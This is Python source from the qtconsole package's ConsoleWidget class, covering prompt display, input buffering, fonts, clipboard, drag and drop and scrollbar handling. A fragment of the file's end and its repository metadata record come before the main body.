prompt : str, optional
The prompt to print before reading the line.
callback : callable, optional
A callback to execute with the read line. If not specified, input is
read *synchronously* and this method does not return until it has
been read.
Returns
-------
If a callback is specified, returns nothing. Otherwise, returns the
input string with the trailing newline stripped.
"""
if self._reading:
raise RuntimeError('Cannot read a line. Widget is already reading.')
if not callback and not self.isVisible():
# If the user cannot see the widget, this function cannot return.
raise RuntimeError('Cannot synchronously read a line if the widget '
'is not visible!')
self._reading = True
if password:
self._show_prompt('Warning: QtConsole does not support password mode, '\
'the text you type will be visible.', newline=True)
self._show_prompt(prompt, newline=False)
if callback is None:
self._reading_callback = None
while self._reading:
QtCore.QCoreApplication.processEvents()
return self._get_input_buffer(force=True).rstrip('\n')
else:
self._reading_callback = lambda: \
callback(self._get_input_buffer(force=True).rstrip('\n'))
def _set_continuation_prompt(self, prompt, html=False):
""" Sets the continuation prompt.
Parameters
----------
prompt : str
The prompt to show when more input is needed.
html : bool, optional (default False)
If set, the prompt will be inserted as formatted HTML. Otherwise,
the prompt will be treated as plain text, though ANSI color codes
will be handled.
"""
if html:
self._continuation_prompt_html = prompt
else:
self._continuation_prompt = prompt
self._continuation_prompt_html = None
def _set_cursor(self, cursor):
""" Convenience method to set the current cursor.
"""
self._control.setTextCursor(cursor)
def _set_top_cursor(self, cursor):
""" Scrolls the viewport so that the specified cursor is at the top.
"""
scrollbar = self._control.verticalScrollBar()
scrollbar.setValue(scrollbar.maximum())
original_cursor = self._control.textCursor()
self._control.setTextCursor(cursor)
self._control.ensureCursorVisible()
self._control.setTextCursor(original_cursor)
def _show_prompt(self, prompt=None, html=False, newline=True):
""" Writes a new prompt at the end of the buffer.
Parameters
----------
prompt : str, optional
The prompt to show. If not specified, the previous prompt is used.
html : bool, optional (default False)
Only relevant when a prompt is specified. If set, the prompt will
be inserted as formatted HTML. Otherwise, the prompt will be treated
as plain text, though ANSI color codes will be handled.
newline : bool, optional (default True)
If set, a new line will be written before showing the prompt if
there is not already a newline at the end of the buffer.
"""
self._flush_pending_stream()
cursor = self._get_end_cursor()
# Save the current position to support _append*(before_prompt=True).
# We can't leave the cursor at the end of the document though, because
# that would cause any further additions to move the cursor. Therefore,
# we move it back one place and move it forward again at the end of
# this method. However, we only do this if the cursor isn't already
# at the start of the text.
if cursor.position() == 0:
move_forward = False
else:
move_forward = True
self._append_before_prompt_cursor.setPosition(cursor.position() - 1)
# Insert a preliminary newline, if necessary.
if newline and cursor.position() > 0:
cursor.movePosition(QtGui.QTextCursor.Left,
QtGui.QTextCursor.KeepAnchor)
if cursor.selection().toPlainText() != '\n':
self._append_block()
# Write the prompt.
self._append_plain_text(self._prompt_sep)
if prompt is None:
if self._prompt_html is None:
self._append_plain_text(self._prompt)
else:
self._append_html(self._prompt_html)
else:
if html:
self._prompt = self._append_html_fetching_plain_text(prompt)
self._prompt_html = prompt
else:
self._append_plain_text(prompt)
self._prompt = prompt
self._prompt_html = None
self._flush_pending_stream()
self._prompt_cursor.setPosition(self._get_end_pos() - 1)
if move_forward:
self._append_before_prompt_cursor.setPosition(
self._append_before_prompt_cursor.position() + 1)
self._prompt_started()
#------ Signal handlers ----------------------------------------------------
def _adjust_scrollbars(self):
""" Expands the vertical scrollbar beyond the range set by Qt.
"""
# This code is adapted from _q_adjustScrollbars in qplaintextedit.cpp
# and qtextedit.cpp.
document = self._control.document()
scrollbar = self._control.verticalScrollBar()
viewport_height = self._control.viewport().height()
if isinstance(self._control, QtWidgets.QPlainTextEdit):
maximum = max(0, document.lineCount() - 1)
step = viewport_height / self._control.fontMetrics().lineSpacing()
else:
# QTextEdit does not do line-based layout and blocks will not in
# general have the same height. Therefore it does not make sense to
# attempt to scroll in line height increments.
maximum = document.size().height()
step = viewport_height
diff = maximum - scrollbar.maximum()
scrollbar.setRange(0, round(maximum))
scrollbar.setPageStep(round(step))
# Compensate for undesirable scrolling that occurs automatically due to
# maximumBlockCount() text truncation.
if diff < 0 and document.blockCount() == document.maximumBlockCount():
scrollbar.setValue(round(scrollbar.value() + diff))
def _custom_context_menu_requested(self, pos):
""" Shows a context menu at the given QPoint (in widget coordinates).
"""
menu = self._context_menu_make(pos)
menu.exec_(self._control.mapToGlobal(pos))
| {
"repo_name": "sserrot/champion_relationships",
"path": "venv/Lib/site-packages/qtconsole/console_widget.py",
"copies": "1",
"size": "100089",
"license": "mit",
"hash": 5033363951694882000,
"line_mean": 39.7196908055,
"line_max": 107,
"alpha_frac": 0.564487606,
"autogenerated": false,
"ratio": 4.616012544389614,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 1,
"avg_score": 0.001544053675243307,
"num_lines": 2458
} |
"""An abstract base class for console-type widgets."""
# Copyright (c) Jupyter Development Team.
# Distributed under the terms of the Modified BSD License.
import os
import os.path
import re
import sys
from textwrap import dedent
import time
from unicodedata import category
import webbrowser
from qtconsole.qt import QtCore, QtGui
from traitlets.config.configurable import LoggingConfigurable
from qtconsole.rich_text import HtmlExporter
from qtconsole.util import MetaQObjectHasTraits, get_font, superQ
from ipython_genutils.text import columnize
from traitlets import Bool, Enum, Integer, Unicode
from .ansi_code_processor import QtAnsiCodeProcessor
from .completion_widget import CompletionWidget
from .completion_html import CompletionHtml
from .completion_plain import CompletionPlain
from .kill_ring import QtKillRing
def is_letter_or_number(char):
""" Returns whether the specified unicode character is a letter or a number.
"""
cat = category(char)
return cat.startswith('L') or cat.startswith('N')
#-----------------------------------------------------------------------------
# Classes
#-----------------------------------------------------------------------------
class ConsoleWidget(MetaQObjectHasTraits('NewBase', (LoggingConfigurable, superQ(QtGui.QWidget)), {})):
""" An abstract base class for console-type widgets. This class has
functionality for:
* Maintaining a prompt and editing region
* Providing the traditional Unix-style console keyboard shortcuts
* Performing tab completion
* Paging text
* Handling ANSI escape codes
ConsoleWidget also provides a number of utility methods that will be
convenient to implementors of a console-style widget.
"""
#------ Configuration ------------------------------------------------------
ansi_codes = Bool(True, config=True,
help="Whether to process ANSI escape codes."
)
buffer_size = Integer(500, config=True,
help="""
The maximum number of lines of text before truncation. Specifying a
non-positive number disables text truncation (not recommended).
"""
)
execute_on_complete_input = Bool(True, config=True,
help="""Whether to automatically execute on syntactically complete input.
If False, Shift-Enter is required to submit each execution.
Disabling this is mainly useful for non-Python kernels,
where the completion check would be wrong.
"""
)
gui_completion = Enum(['plain', 'droplist', 'ncurses'], config=True,
default_value = 'ncurses',
help="""
The type of completer to use. Valid values are:
'plain' : Show the available completion as a text list
Below the editing area.
'droplist': Show the completion in a drop down list navigable
by the arrow keys, and from which you can select
completion by pressing Return.
'ncurses' : Show the completion as a text list which is navigable by
`tab` and arrow keys.
"""
)
# NOTE: this value can only be specified during initialization.
kind = Enum(['plain', 'rich'], default_value='plain', config=True,
help="""
The type of underlying text widget to use. Valid values are 'plain',
which specifies a QPlainTextEdit, and 'rich', which specifies a
QTextEdit.
"""
)
# NOTE: this value can only be specified during initialization.
paging = Enum(['inside', 'hsplit', 'vsplit', 'custom', 'none'],
default_value='inside', config=True,
help="""
The type of paging to use. Valid values are:
'inside'
The widget pages like a traditional terminal.
'hsplit'
When paging is requested, the widget is split horizontally. The top
pane contains the console, and the bottom pane contains the paged text.
'vsplit'
Similar to 'hsplit', except that a vertical splitter is used.
'custom'
No action is taken by the widget beyond emitting a
'custom_page_requested(str)' signal.
'none'
The text is written directly to the console.
""")
font_family = Unicode(config=True,
help="""The font family to use for the console.
On OSX this defaults to Monaco, on Windows the default is
Consolas with fallback of Courier, and on other platforms
the default is Monospace.
""")
def _font_family_default(self):
if sys.platform == 'win32':
# Consolas ships with Vista/Win7, fallback to Courier if needed
return 'Consolas'
elif sys.platform == 'darwin':
# OSX always has Monaco, no need for a fallback
return 'Monaco'
else:
# Monospace should always exist, no need for a fallback
return 'Monospace'
font_size = Integer(config=True,
help="""The font size. If unconfigured, Qt will be entrusted
with the size of the font.
""")
console_width = Integer(81, config=True,
help="""The width of the console at start time in number
of characters (will double with `hsplit` paging)
""")
console_height = Integer(25, config=True,
help="""The height of the console at start time in number
of characters (will double with `vsplit` paging)
""")
# Whether to override ShortcutEvents for the keybindings defined by this
# widget (Ctrl+n, Ctrl+a, etc). Enable this if you want this widget to take
# priority (when it has focus) over, e.g., window-level menu shortcuts.
override_shortcuts = Bool(False)
# ------ Custom Qt Widgets -------------------------------------------------
# For other projects to easily override the Qt widgets used by the console
# (e.g. Spyder)
custom_control = None
custom_page_control = None
#------ Signals ------------------------------------------------------------
# Signals that indicate ConsoleWidget state.
copy_available = QtCore.Signal(bool)
redo_available = QtCore.Signal(bool)
undo_available = QtCore.Signal(bool)
# Signal emitted when paging is needed and the paging style has been
# specified as 'custom'.
custom_page_requested = QtCore.Signal(object)
# Signal emitted when the font is changed.
font_changed = QtCore.Signal(QtGui.QFont)
#------ Protected class variables ------------------------------------------
# control handles
_control = None
_page_control = None
_splitter = None
# When the control key is down, these keys are mapped.
_ctrl_down_remap = { QtCore.Qt.Key_B : QtCore.Qt.Key_Left,
QtCore.Qt.Key_F : QtCore.Qt.Key_Right,
QtCore.Qt.Key_A : QtCore.Qt.Key_Home,
QtCore.Qt.Key_P : QtCore.Qt.Key_Up,
QtCore.Qt.Key_N : QtCore.Qt.Key_Down,
QtCore.Qt.Key_H : QtCore.Qt.Key_Backspace, }
if not sys.platform == 'darwin':
# On OS X, Ctrl-E already does the right thing, whereas End moves the
# cursor to the bottom of the buffer.
_ctrl_down_remap[QtCore.Qt.Key_E] = QtCore.Qt.Key_End
# The shortcuts defined by this widget. We need to keep track of these to
# support 'override_shortcuts' above.
_shortcuts = set(_ctrl_down_remap.keys()) | \
{ QtCore.Qt.Key_C, QtCore.Qt.Key_G, QtCore.Qt.Key_O,
QtCore.Qt.Key_V }
_temp_buffer_filled = False
#---------------------------------------------------------------------------
# 'QObject' interface
#---------------------------------------------------------------------------
def __init__(self, parent=None, **kw):
""" Create a ConsoleWidget.
Parameters
----------
parent : QWidget, optional [default None]
The parent for this widget.
"""
super(ConsoleWidget, self).__init__(**kw)
if parent:
self.setParent(parent)
# While scrolling the pager on Mac OS X, it tears badly. The
# NativeGesture is platform and perhaps build-specific hence
# we take adequate precautions here.
self._pager_scroll_events = [QtCore.QEvent.Wheel]
if hasattr(QtCore.QEvent, 'NativeGesture'):
self._pager_scroll_events.append(QtCore.QEvent.NativeGesture)
# Create the layout and underlying text widget.
layout = QtGui.QStackedLayout(self)
layout.setContentsMargins(0, 0, 0, 0)
self._control = self._create_control()
if self.paging in ('hsplit', 'vsplit'):
self._splitter = QtGui.QSplitter()
if self.paging == 'hsplit':
self._splitter.setOrientation(QtCore.Qt.Horizontal)
else:
self._splitter.setOrientation(QtCore.Qt.Vertical)
self._splitter.addWidget(self._control)
layout.addWidget(self._splitter)
else:
layout.addWidget(self._control)
# Create the paging widget, if necessary.
if self.paging in ('inside', 'hsplit', 'vsplit'):
self._page_control = self._create_page_control()
if self._splitter:
self._page_control.hide()
self._splitter.addWidget(self._page_control)
else:
layout.addWidget(self._page_control)
# Initialize protected variables. Some variables contain useful state
# information for subclasses; they should be considered read-only.
self._append_before_prompt_cursor = self._control.textCursor()
self._ansi_processor = QtAnsiCodeProcessor()
if self.gui_completion == 'ncurses':
self._completion_widget = CompletionHtml(self)
elif self.gui_completion == 'droplist':
self._completion_widget = CompletionWidget(self)
elif self.gui_completion == 'plain':
self._completion_widget = CompletionPlain(self)
self._continuation_prompt = '> '
self._continuation_prompt_html = None
self._executing = False
self._filter_resize = False
self._html_exporter = HtmlExporter(self._control)
self._input_buffer_executing = ''
self._input_buffer_pending = ''
self._kill_ring = QtKillRing(self._control)
self._prompt = ''
self._prompt_html = None
self._prompt_cursor = self._control.textCursor()
self._prompt_sep = ''
self._reading = False
self._reading_callback = None
self._tab_width = 8
# List of strings pending to be appended as plain text in the widget.
# The text is not immediately inserted when available to not
# choke the Qt event loop with paint events for the widget in
# case of lots of output from kernel.
self._pending_insert_text = []
# Timer to flush the pending stream messages. The interval is adjusted
# later based on actual time taken for flushing a screen (buffer_size)
# of output text.
self._pending_text_flush_interval = QtCore.QTimer(self._control)
self._pending_text_flush_interval.setInterval(100)
self._pending_text_flush_interval.setSingleShot(True)
self._pending_text_flush_interval.timeout.connect(
self._on_flush_pending_stream_timer)
# Set a monospaced font.
self.reset_font()
# Configure actions.
action = QtGui.QAction('Print', None)
action.setEnabled(True)
printkey = QtGui.QKeySequence(QtGui.QKeySequence.Print)
if printkey.matches("Ctrl+P") and sys.platform != 'darwin':
# Only override the default if there is a collision.
# Qt ctrl = cmd on OSX, so the match gets a false positive on OSX.
printkey = "Ctrl+Shift+P"
action.setShortcut(printkey)
action.setShortcutContext(QtCore.Qt.WidgetWithChildrenShortcut)
action.triggered.connect(self.print_)
self.addAction(action)
self.print_action = action
action = QtGui.QAction('Save as HTML/XML', None)
action.setShortcut(QtGui.QKeySequence.Save)
action.setShortcutContext(QtCore.Qt.WidgetWithChildrenShortcut)
action.triggered.connect(self.export_html)
self.addAction(action)
self.export_action = action
action = QtGui.QAction('Select All', None)
action.setEnabled(True)
selectall = QtGui.QKeySequence(QtGui.QKeySequence.SelectAll)
if selectall.matches("Ctrl+A") and sys.platform != 'darwin':
# Only override the default if there is a collision.
# Qt ctrl = cmd on OSX, so the match gets a false positive on OSX.
selectall = "Ctrl+Shift+A"
action.setShortcut(selectall)
action.setShortcutContext(QtCore.Qt.WidgetWithChildrenShortcut)
action.triggered.connect(self.select_all)
self.addAction(action)
self.select_all_action = action
self.increase_font_size = QtGui.QAction("Bigger Font",
self,
shortcut=QtGui.QKeySequence.ZoomIn,
shortcutContext=QtCore.Qt.WidgetWithChildrenShortcut,
statusTip="Increase the font size by one point",
triggered=self._increase_font_size)
self.addAction(self.increase_font_size)
self.decrease_font_size = QtGui.QAction("Smaller Font",
self,
shortcut=QtGui.QKeySequence.ZoomOut,
shortcutContext=QtCore.Qt.WidgetWithChildrenShortcut,
statusTip="Decrease the font size by one point",
triggered=self._decrease_font_size)
self.addAction(self.decrease_font_size)
self.reset_font_size = QtGui.QAction("Normal Font",
self,
shortcut="Ctrl+0",
shortcutContext=QtCore.Qt.WidgetWithChildrenShortcut,
statusTip="Restore the Normal font size",
triggered=self.reset_font)
self.addAction(self.reset_font_size)
# Accept drag and drop events here. Drops were already turned off
# in self._control when that widget was created.
self.setAcceptDrops(True)
#---------------------------------------------------------------------------
# Drag and drop support
#---------------------------------------------------------------------------
def dragEnterEvent(self, e):
if e.mimeData().hasUrls():
# The link action should indicate to that the drop will insert
# the file anme.
e.setDropAction(QtCore.Qt.LinkAction)
e.accept()
elif e.mimeData().hasText():
# By changing the action to copy we don't need to worry about
# the user accidentally moving text around in the widget.
e.setDropAction(QtCore.Qt.CopyAction)
e.accept()
def dragMoveEvent(self, e):
if e.mimeData().hasUrls():
pass
elif e.mimeData().hasText():
cursor = self._control.cursorForPosition(e.pos())
if self._in_buffer(cursor.position()):
e.setDropAction(QtCore.Qt.CopyAction)
self._control.setTextCursor(cursor)
else:
e.setDropAction(QtCore.Qt.IgnoreAction)
e.accept()
def dropEvent(self, e):
if e.mimeData().hasUrls():
self._keep_cursor_in_buffer()
cursor = self._control.textCursor()
filenames = [url.toLocalFile() for url in e.mimeData().urls()]
text = ', '.join("'" + f.replace("'", "'\"'\"'") + "'"
for f in filenames)
self._insert_plain_text_into_buffer(cursor, text)
elif e.mimeData().hasText():
cursor = self._control.cursorForPosition(e.pos())
if self._in_buffer(cursor.position()):
text = e.mimeData().text()
self._insert_plain_text_into_buffer(cursor, text)
def eventFilter(self, obj, event):
""" Reimplemented to ensure a console-like behavior in the underlying
text widgets.
"""
etype = event.type()
if etype == QtCore.QEvent.KeyPress:
# Re-map keys for all filtered widgets.
key = event.key()
if self._control_key_down(event.modifiers()) and \
key in self._ctrl_down_remap:
new_event = QtGui.QKeyEvent(QtCore.QEvent.KeyPress,
self._ctrl_down_remap[key],
QtCore.Qt.NoModifier)
QtGui.qApp.sendEvent(obj, new_event)
return True
elif obj == self._control:
return self._event_filter_console_keypress(event)
elif obj == self._page_control:
return self._event_filter_page_keypress(event)
# Make middle-click paste safe.
elif etype == QtCore.QEvent.MouseButtonRelease and \
event.button() == QtCore.Qt.MidButton and \
obj == self._control.viewport():
cursor = self._control.cursorForPosition(event.pos())
self._control.setTextCursor(cursor)
self.paste(QtGui.QClipboard.Selection)
return True
# Manually adjust the scrollbars *after* a resize event is dispatched.
elif etype == QtCore.QEvent.Resize and not self._filter_resize:
self._filter_resize = True
QtGui.QApplication.instance().sendEvent(obj, event)
self._adjust_scrollbars()
self._filter_resize = False
return True
# Override shortcuts for all filtered widgets.
elif etype == QtCore.QEvent.ShortcutOverride and \
self.override_shortcuts and \
self._control_key_down(event.modifiers()) and \
event.key() in self._shortcuts:
event.accept()
# Handle scrolling of the vsplit pager. This hack attempts to solve
# problems with tearing of the help text inside the pager window. This
# happens only on Mac OS X with both PySide and PyQt. This fix isn't
# perfect but makes the pager more usable.
elif etype in self._pager_scroll_events and \
obj == self._page_control:
self._page_control.repaint()
return True
elif etype == QtCore.QEvent.MouseMove:
anchor = self._control.anchorAt(event.pos())
QtGui.QToolTip.showText(event.globalPos(), anchor)
return super(ConsoleWidget, self).eventFilter(obj, event)
#---------------------------------------------------------------------------
# 'QWidget' interface
#---------------------------------------------------------------------------
def sizeHint(self):
""" Reimplemented to suggest a size that is 80 characters wide and
25 lines high.
"""
font_metrics = QtGui.QFontMetrics(self.font)
margin = (self._control.frameWidth() +
self._control.document().documentMargin()) * 2
style = self.style()
splitwidth = style.pixelMetric(QtGui.QStyle.PM_SplitterWidth)
# Note 1: Despite my best efforts to take the various margins into
# account, the width is still coming out a bit too small, so we include
# a fudge factor of one character here.
# Note 2: QFontMetrics.maxWidth is not used here or anywhere else due
# to a Qt bug on certain Mac OS systems where it returns 0.
width = font_metrics.width(' ') * self.console_width + margin
width += style.pixelMetric(QtGui.QStyle.PM_ScrollBarExtent)
if self.paging == 'hsplit':
width = width * 2 + splitwidth
height = font_metrics.height() * self.console_height + margin
if self.paging == 'vsplit':
height = height * 2 + splitwidth
return QtCore.QSize(width, height)
#---------------------------------------------------------------------------
# 'ConsoleWidget' public interface
#---------------------------------------------------------------------------
include_other_output = Bool(False, config=True,
help="""Whether to include output from clients
other than this one sharing the same kernel.
Outputs are not displayed until enter is pressed.
"""
)
def can_copy(self):
""" Returns whether text can be copied to the clipboard.
"""
return self._control.textCursor().hasSelection()
def can_cut(self):
""" Returns whether text can be cut to the clipboard.
"""
cursor = self._control.textCursor()
return (cursor.hasSelection() and
self._in_buffer(cursor.anchor()) and
self._in_buffer(cursor.position()))
def can_paste(self):
""" Returns whether text can be pasted from the clipboard.
"""
if self._control.textInteractionFlags() & QtCore.Qt.TextEditable:
return bool(QtGui.QApplication.clipboard().text())
return False
def clear(self, keep_input=True):
""" Clear the console.
Parameters
----------
keep_input : bool, optional (default True)
If set, restores the old input buffer if a new prompt is written.
"""
if self._executing:
self._control.clear()
else:
if keep_input:
input_buffer = self.input_buffer
self._control.clear()
self._show_prompt()
if keep_input:
self.input_buffer = input_buffer
def copy(self):
""" Copy the currently selected text to the clipboard.
"""
self.layout().currentWidget().copy()
def copy_anchor(self, anchor):
""" Copy anchor text to the clipboard
"""
QtGui.QApplication.clipboard().setText(anchor)
def cut(self):
""" Copy the currently selected text to the clipboard and delete it
if it's inside the input buffer.
"""
self.copy()
if self.can_cut():
self._control.textCursor().removeSelectedText()
def execute(self, source=None, hidden=False, interactive=False):
""" Executes source or the input buffer, possibly prompting for more
input.
Parameters
----------
source : str, optional
The source to execute. If not specified, the input buffer will be
used. If specified and 'hidden' is False, the input buffer will be
replaced with the source before execution.
hidden : bool, optional (default False)
If set, no output will be shown and the prompt will not be modified.
In other words, it will be completely invisible to the user that
an execution has occurred.
interactive : bool, optional (default False)
Whether the console is to treat the source as having been manually
entered by the user. The effect of this parameter depends on the
subclass implementation.
Raises
------
RuntimeError
If incomplete input is given and 'hidden' is True. In this case,
it is not possible to prompt for more input.
Returns
-------
A boolean indicating whether the source was executed.
"""
# WARNING: The order in which things happen here is very particular, in
# large part because our syntax highlighting is fragile. If you change
# something, test carefully!
# Decide what to execute.
if source is None:
source = self.input_buffer
if not hidden:
# A newline is appended later, but it should be considered part
# of the input buffer.
source += '\n'
elif not hidden:
self.input_buffer = source
# Execute the source or show a continuation prompt if it is incomplete.
if interactive and self.execute_on_complete_input:
complete, indent = self._is_complete(source, interactive)
else:
complete = True
indent = ''
if hidden:
if complete or not self.execute_on_complete_input:
self._execute(source, hidden)
else:
error = 'Incomplete noninteractive input: "%s"'
raise RuntimeError(error % source)
else:
if complete:
self._append_plain_text('\n')
self._input_buffer_executing = self.input_buffer
self._executing = True
self._prompt_finished()
# The maximum block count is only in effect during execution.
# This ensures that _prompt_pos does not become invalid due to
# text truncation.
self._control.document().setMaximumBlockCount(self.buffer_size)
# Setting a positive maximum block count will automatically
# disable the undo/redo history, but just to be safe:
self._control.setUndoRedoEnabled(False)
# Perform actual execution.
self._execute(source, hidden)
else:
# Do this inside an edit block so continuation prompts are
# removed seamlessly via undo/redo.
cursor = self._get_end_cursor()
cursor.beginEditBlock()
cursor.insertText('\n')
self._insert_continuation_prompt(cursor, indent)
cursor.endEditBlock()
# Do not do this inside the edit block. It works as expected
# when using a QPlainTextEdit control, but does not have an
# effect when using a QTextEdit. I believe this is a Qt bug.
self._control.moveCursor(QtGui.QTextCursor.End)
return complete
def export_html(self):
""" Shows a dialog to export HTML/XML in various formats.
"""
self._html_exporter.export()
def _get_input_buffer(self, force=False):
""" The text that the user has entered entered at the current prompt.
If the console is currently executing, the text that is executing will
always be returned.
"""
# If we're executing, the input buffer may not even exist anymore due to
# the limit imposed by 'buffer_size'. Therefore, we store it.
if self._executing and not force:
return self._input_buffer_executing
cursor = self._get_end_cursor()
cursor.setPosition(self._prompt_pos, QtGui.QTextCursor.KeepAnchor)
input_buffer = cursor.selection().toPlainText()
# Strip out continuation prompts.
return input_buffer.replace('\n' + self._continuation_prompt, '\n')
def _set_input_buffer(self, string):
""" Sets the text in the input buffer.
If the console is currently executing, this call has no *immediate*
effect. When the execution is finished, the input buffer will be updated
appropriately.
"""
# If we're executing, store the text for later.
if self._executing:
self._input_buffer_pending = string
return
# Remove old text.
cursor = self._get_end_cursor()
cursor.beginEditBlock()
cursor.setPosition(self._prompt_pos, QtGui.QTextCursor.KeepAnchor)
cursor.removeSelectedText()
# Insert new text with continuation prompts.
self._insert_plain_text_into_buffer(self._get_prompt_cursor(), string)
cursor.endEditBlock()
self._control.moveCursor(QtGui.QTextCursor.End)
input_buffer = property(_get_input_buffer, _set_input_buffer)
def _get_font(self):
""" The base font being used by the ConsoleWidget.
"""
return self._control.document().defaultFont()
def _set_font(self, font):
""" Sets the base font for the ConsoleWidget to the specified QFont.
"""
font_metrics = QtGui.QFontMetrics(font)
self._control.setTabStopWidth(self.tab_width * font_metrics.width(' '))
self._completion_widget.setFont(font)
self._control.document().setDefaultFont(font)
if self._page_control:
self._page_control.document().setDefaultFont(font)
self.font_changed.emit(font)
font = property(_get_font, _set_font)
def open_anchor(self, anchor):
""" Open selected anchor in the default webbrowser
"""
webbrowser.open( anchor )
def paste(self, mode=QtGui.QClipboard.Clipboard):
""" Paste the contents of the clipboard into the input region.
Parameters
----------
mode : QClipboard::Mode, optional [default QClipboard::Clipboard]
Controls which part of the system clipboard is used. This can be
used to access the selection clipboard in X11 and the Find buffer
in Mac OS. By default, the regular clipboard is used.
"""
if self._control.textInteractionFlags() & QtCore.Qt.TextEditable:
# Make sure the paste is safe.
self._keep_cursor_in_buffer()
cursor = self._control.textCursor()
# Remove any trailing newline, which confuses the GUI and forces the
# user to backspace.
text = QtGui.QApplication.clipboard().text(mode).rstrip()
self._insert_plain_text_into_buffer(cursor, dedent(text))
def print_(self, printer = None):
""" Print the contents of the ConsoleWidget to the specified QPrinter.
"""
if (not printer):
printer = QtGui.QPrinter()
if(QtGui.QPrintDialog(printer).exec_() != QtGui.QDialog.Accepted):
return
self._control.print_(printer)
def prompt_to_top(self):
""" Moves the prompt to the top of the viewport.
"""
if not self._executing:
prompt_cursor = self._get_prompt_cursor()
if self._get_cursor().blockNumber() < prompt_cursor.blockNumber():
self._set_cursor(prompt_cursor)
self._set_top_cursor(prompt_cursor)
def redo(self):
""" Redo the last operation. If there is no operation to redo, nothing
happens.
"""
self._control.redo()
def reset_font(self):
""" Sets the font to the default fixed-width font for this platform.
"""
if sys.platform == 'win32':
# Consolas ships with Vista/Win7, fallback to Courier if needed
fallback = 'Courier'
elif sys.platform == 'darwin':
# OSX always has Monaco
fallback = 'Monaco'
else:
# Monospace should always exist
fallback = 'Monospace'
font = get_font(self.font_family, fallback)
if self.font_size:
font.setPointSize(self.font_size)
else:
font.setPointSize(QtGui.QApplication.instance().font().pointSize())
font.setStyleHint(QtGui.QFont.TypeWriter)
self._set_font(font)
def change_font_size(self, delta):
"""Change the font size by the specified amount (in points).
"""
font = self.font
size = max(font.pointSize() + delta, 1) # minimum 1 point
font.setPointSize(size)
self._set_font(font)
def _increase_font_size(self):
self.change_font_size(1)
def _decrease_font_size(self):
self.change_font_size(-1)
def select_all(self):
""" Selects all the text in the buffer.
"""
self._control.selectAll()
def _get_tab_width(self):
""" The width (in terms of space characters) for tab characters.
"""
return self._tab_width
def _set_tab_width(self, tab_width):
""" Sets the width (in terms of space characters) for tab characters.
"""
font_metrics = QtGui.QFontMetrics(self.font)
self._control.setTabStopWidth(tab_width * font_metrics.width(' '))
self._tab_width = tab_width
tab_width = property(_get_tab_width, _set_tab_width)
def undo(self):
""" Undo the last operation. If there is no operation to undo, nothing
happens.
"""
self._control.undo()
#---------------------------------------------------------------------------
# 'ConsoleWidget' abstract interface
#---------------------------------------------------------------------------
def _is_complete(self, source, interactive):
""" Returns whether 'source' can be executed. When triggered by an
Enter/Return key press, 'interactive' is True; otherwise, it is
False.
"""
raise NotImplementedError
def _execute(self, source, hidden):
""" Execute 'source'. If 'hidden', do not show any output.
"""
raise NotImplementedError
def _prompt_started_hook(self):
""" Called immediately after a new prompt is displayed.
"""
pass
def _prompt_finished_hook(self):
""" Called immediately after a prompt is finished, i.e. when some input
will be processed and a new prompt displayed.
"""
pass
def _up_pressed(self, shift_modifier):
""" Called when the up key is pressed. Returns whether to continue
processing the event.
"""
return True
def _down_pressed(self, shift_modifier):
""" Called when the down key is pressed. Returns whether to continue
processing the event.
"""
return True
def _tab_pressed(self):
""" Called when the tab key is pressed. Returns whether to continue
processing the event.
"""
return False
#--------------------------------------------------------------------------
# 'ConsoleWidget' protected interface
#--------------------------------------------------------------------------
def _append_custom(self, insert, input, before_prompt=False, *args, **kwargs):
""" A low-level method for appending content to the end of the buffer.
If 'before_prompt' is enabled, the content will be inserted before the
current prompt, if there is one.
"""
# Determine where to insert the content.
cursor = self._control.textCursor()
if before_prompt and (self._reading or not self._executing):
self._flush_pending_stream()
cursor.setPosition(self._append_before_prompt_pos)
else:
if insert != self._insert_plain_text:
self._flush_pending_stream()
cursor.movePosition(QtGui.QTextCursor.End)
# Perform the insertion.
result = insert(cursor, input, *args, **kwargs)
return result
def _append_block(self, block_format=None, before_prompt=False):
""" Appends an new QTextBlock to the end of the console buffer.
"""
self._append_custom(self._insert_block, block_format, before_prompt)
def _append_html(self, html, before_prompt=False):
""" Appends HTML at the end of the console buffer.
"""
self._append_custom(self._insert_html, html, before_prompt)
def _append_html_fetching_plain_text(self, html, before_prompt=False):
""" Appends HTML, then returns the plain text version of it.
"""
return self._append_custom(self._insert_html_fetching_plain_text,
html, before_prompt)
def _append_plain_text(self, text, before_prompt=False):
""" Appends plain text, processing ANSI codes if enabled.
"""
self._append_custom(self._insert_plain_text, text, before_prompt)
def _cancel_completion(self):
""" If text completion is progress, cancel it.
"""
self._completion_widget.cancel_completion()
def _clear_temporary_buffer(self):
""" Clears the "temporary text" buffer, i.e. all the text following
the prompt region.
"""
# Select and remove all text below the input buffer.
cursor = self._get_prompt_cursor()
prompt = self._continuation_prompt.lstrip()
if(self._temp_buffer_filled):
self._temp_buffer_filled = False
while cursor.movePosition(QtGui.QTextCursor.NextBlock):
temp_cursor = QtGui.QTextCursor(cursor)
temp_cursor.select(QtGui.QTextCursor.BlockUnderCursor)
text = temp_cursor.selection().toPlainText().lstrip()
if not text.startswith(prompt):
break
else:
# We've reached the end of the input buffer and no text follows.
return
cursor.movePosition(QtGui.QTextCursor.Left) # Grab the newline.
cursor.movePosition(QtGui.QTextCursor.End,
QtGui.QTextCursor.KeepAnchor)
cursor.removeSelectedText()
# After doing this, we have no choice but to clear the undo/redo
# history. Otherwise, the text is not "temporary" at all, because it
# can be recalled with undo/redo. Unfortunately, Qt does not expose
# fine-grained control to the undo/redo system.
if self._control.isUndoRedoEnabled():
self._control.setUndoRedoEnabled(False)
self._control.setUndoRedoEnabled(True)
def _complete_with_items(self, cursor, items):
""" Performs completion with 'items' at the specified cursor location.
"""
self._cancel_completion()
if len(items) == 1:
cursor.setPosition(self._control.textCursor().position(),
QtGui.QTextCursor.KeepAnchor)
cursor.insertText(items[0])
elif len(items) > 1:
current_pos = self._control.textCursor().position()
prefix = os.path.commonprefix(items)
if prefix:
cursor.setPosition(current_pos, QtGui.QTextCursor.KeepAnchor)
cursor.insertText(prefix)
current_pos = cursor.position()
cursor.movePosition(QtGui.QTextCursor.Left, n=len(prefix))
self._completion_widget.show_items(cursor, items)
def _fill_temporary_buffer(self, cursor, text, html=False):
"""fill the area below the active editting zone with text"""
current_pos = self._control.textCursor().position()
cursor.beginEditBlock()
self._append_plain_text('\n')
self._page(text, html=html)
cursor.endEditBlock()
cursor.setPosition(current_pos)
self._control.moveCursor(QtGui.QTextCursor.End)
